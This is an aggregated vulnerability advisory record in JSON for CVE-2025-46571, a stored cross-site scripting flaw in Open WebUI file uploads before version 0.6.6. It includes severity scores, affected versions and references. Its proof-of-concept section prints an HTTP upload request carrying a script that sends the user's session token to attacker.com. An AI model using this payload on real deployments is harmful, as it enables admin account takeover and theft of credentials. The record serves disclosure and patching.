{"id":"CVE-2025-46571","aliases":["CVE-2025-46571","GHSA-8gh5-qqh8-hq3x","PYSEC-2026-2713"],"related":[],"kind":"vulnerability","state":"published","title":"Open WebUI vulnerable to limited stored XSS vila uploaded html file","summary":"Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to version 0.6.6, low privileged users can upload HTML files which contain JavaScript code via the `/api/v1/files/` backend endpoint. This endpoint returns a file id, which can be used to open the file in the browser and trigger the JavaScript code in the user's browser. Under the default settings, files uploaded by low-privileged users can only be viewed by admins or themselves, limiting the impact of this vulnerability. A link to such a file can be sent to an admin, and if clicked, will give the low-privileged user complete control over the admin's account, ultimately enabling RCE via functions. Version 0.6.6 contains a fix for the issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to version 0.6.6, low privileged users can upload HTML files which contain JavaScript code via the `/api/v1/files/` backend endpoint. This endpoint returns a file id, which can be used to open the file in the browser and trigger the JavaScript code in the user's browser. Under the default settings, files uploaded by low-privileged users can only be viewed by admins or themselves, limiting the impact of this vulnerability. A link to such a file can be sent to an admin, and if clicked, will give the low-privileged user complete control over the admin's account, ultimately enabling RCE via functions. Version 0.6.6 contains a fix for the issue.","source":"cvelist"},{"lang":"en","text":"### Summary\nLow privileged users can upload HTML files which contain JavaScript code via the `/api/v1/files/` backend endpoint. This endpoint returns a file id, which can be used to open the file in the browser and trigger the JavaScript code in the user's browser. Under the default settings, files uploaded by low-privileged users can only be viewed by admins or themselves, limiting the impact of this vulnerability.\n\n### Details\n\nThe following HTTP request can be sent to the backend server to upload a file with the contents:\n`<script>fetch(\"https://attacker.com/?token=\" + localStorage.getItem(\"token\"))</script>`\n\n```http\nPOST /api/v1/files/ HTTP/1.1\nHost: localhost:8080\nContent-Length: 286\nauthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Ijg2NjA1NTZhLTc0OWQtNDdmNS1iMjgwLWRiYzkyYzc2ZjM1NiJ9.4cImklYQUVi3dlXmRtQwdZKEleu0cq4tXompMod8X2U\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryr0PnRBBHKXD9UEdm\n\n------WebKitFormBoundaryr0PnRBBHKXD9UEdm\nContent-Disposition: form-data; name=\"file\"; filename=\"test.html\"\nContent-Type: text/html\n\n<h1>padding</h1>\n<script>fetch(\"https://attacker.com/?token=\" + localStorage.getItem(\"token\"))</script>\n------WebKitFormBoundaryr0PnRBBHKXD9UEdm--\n```\n\nNote the `filename=\"test.html\"` , `Content-Type: text/html`, and `<h1>padding</h`> in the request's body. These are important because some form of sanitization or filtering was observed which caused errors when uploading an html file that only conained a `<script>` tag. \n\nThe backend server responds to the above request with JSON data that contains an `id` parameter. \n\n![image](https://github.com/user-attachments/assets/ac15e108-d385-4e58-b29a-eb79aafbffda)\n\nThis ID can be used to view the uploaded file in the browser at `<Backend_URL>/api/v1/files/<file_id>/content/html`\n\nBecause of the authorization checks done on lines https://github.com/open-webui/open-webui/blob/main/backend/open_webui/routers/files.py#L434-L438, this file can only be viewed by admins and the user that uploaded it, but not by other low-privileged users, thus limiting the imact of this stored XSS vulnerability.\n\n### PoC\n\nFirst, upload an html containing JavaScript code to the backend server using the following HTTP request:\n```http\nPOST /api/v1/files/ HTTP/1.1\nHost: localhost:8080\nContent-Length: 286\nauthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Ijg2NjA1NTZhLTc0OWQtNDdmNS1iMjgwLWRiYzkyYzc2ZjM1NiJ9.4cImklYQUVi3dlXmRtQwdZKEleu0cq4tXompMod8X2U\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryr0PnRBBHKXD9UEdm\n\n------WebKitFormBoundaryr0PnRBBHKXD9UEdm\nContent-Disposition: form-data; name=\"file\"; filename=\"test.html\"\nContent-Type: text/html\n\n<h1>padding</h1>\n<script>fetch(\"https://attacker.com/?token=\" + localStorage.getItem(\"token\"))</script>\n------WebKitFormBoundaryr0PnRBBHKXD9UEdm--\n```\n\nThen copy the `id` from the response and use it to view the file in the browser at `<Backend_URL>/api/v1/files/<file_id>/content/html`\n\n\n### Impact\n\nLow privileged users can upload HTML files containing malicious JavaScript code. A link to such a file can be sent to an admin, and if clicked, will give the low-privileged user complete control over the admin's account, ultimately enabling RCE via functions, as described in https://github.com/open-webui/open-webui/security/advisories/GHSA-9f4f-jv96-8766","format":"markdown","source":"ghsa"},{"lang":"es","text":"Open WebUI es una plataforma de inteligencia artificial autoalojada, diseñada para operar completamente sin conexión. Antes de la versión 0.6.6, los usuarios con privilegios bajos podían subir archivos HTML con código JavaScript a través del endpoint `/api/v1/files/`. Este endpoint devuelve un ID de archivo, que permite abrirlo en el navegador y activar el código JavaScript. Con la configuración predeterminada, los archivos subidos por usuarios con privilegios bajos solo pueden ser vistos por los administradores o por ellos mismos, lo que limita el impacto de esta vulnerabilidad. Se puede enviar un enlace a dicho archivo a un administrador y, al hacer clic en él, le otorga control total sobre su cuenta, lo que permite el acceso remoto a través de funciones. La versión 0.6.6 incluye una solución para este problema.","source":"nvd"}],"published":"2025-05-05T18:45:29.718Z","modified":"2026-07-13T16:42:38.729Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:P","score":5.3,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:P","score":5.3,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N","rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","score":5.4,"rating":"MEDIUM"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N"}],"cwes":["CWE-79","CWE-87"],"affected":[{"ranges":[{"version":"< 0.6.6","status":"affected"}],"vendor":"open-webui","product":"open-webui","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"0.6.6"}],"ecosystem":"PyPI","package":"open-webui","purl":"pkg:pypi/open-webui","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"0.6.6"}],"vendor":"openwebui","product":"open_webui","cpe":"cpe:2.3:a:openwebui:open_webui:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"0.6.6"}],"ecosystem":"PyPI","package":"open-webui","purl":"pkg:pypi/open-webui","source":"pysec"}],"references":[{"url":"https://github.com/open-webui/open-webui/security/advisories/GHSA-8gh5-qqh8-hq3x","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/open-webui/open-webui/commit/ef2aeb7c0eb976bac759e59ac359c94a5b8dc7e0","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/open-webui/open-webui/blob/main/backend/open_webui/routers/files.py#L434-L438","tags":["product","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-46571","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/open-webui/open-webui","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://github.com/open-webui/open-webui/releases/tag/v0.6.6","tags":["web"],"sources":["ghsa","pysec"]},{"url":"https://pypi.org/project/open-webui","tags":["package"],"sources":["pysec"]},{"url":"https://github.com/advisories/GHSA-8gh5-qqh8-hq3x","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2025-05-05T18:59:29.597Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2025-46571","url":"https://www.cve.org/CVERecord?id=CVE-2025-46571","licence":"CVE Terms of Use","modified":"2025-05-05T18:59:48.168Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-8gh5-qqh8-hq3x","url":"https://github.com/advisories/GHSA-8gh5-qqh8-hq3x","licence":"CC-BY-4.0","modified":"2026-07-13T16:42:38.729Z"},{"source":"nvd","name":"NVD","id":"CVE-2025-46571","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-46571","licence":"Public domain","modified":"2026-06-17T09:26:38.630Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-2713","url":"https://osv.dev/vulnerability/PYSEC-2026-2713","licence":"CC-BY-4.0","modified":"2026-07-13T16:32:18.798Z"}],"updatedAt":"2026-11-25T22:58:57.599Z","epss":{"score":0.00382,"percentile":0.3441,"date":"2026-12-01T12:00:22.000Z"}}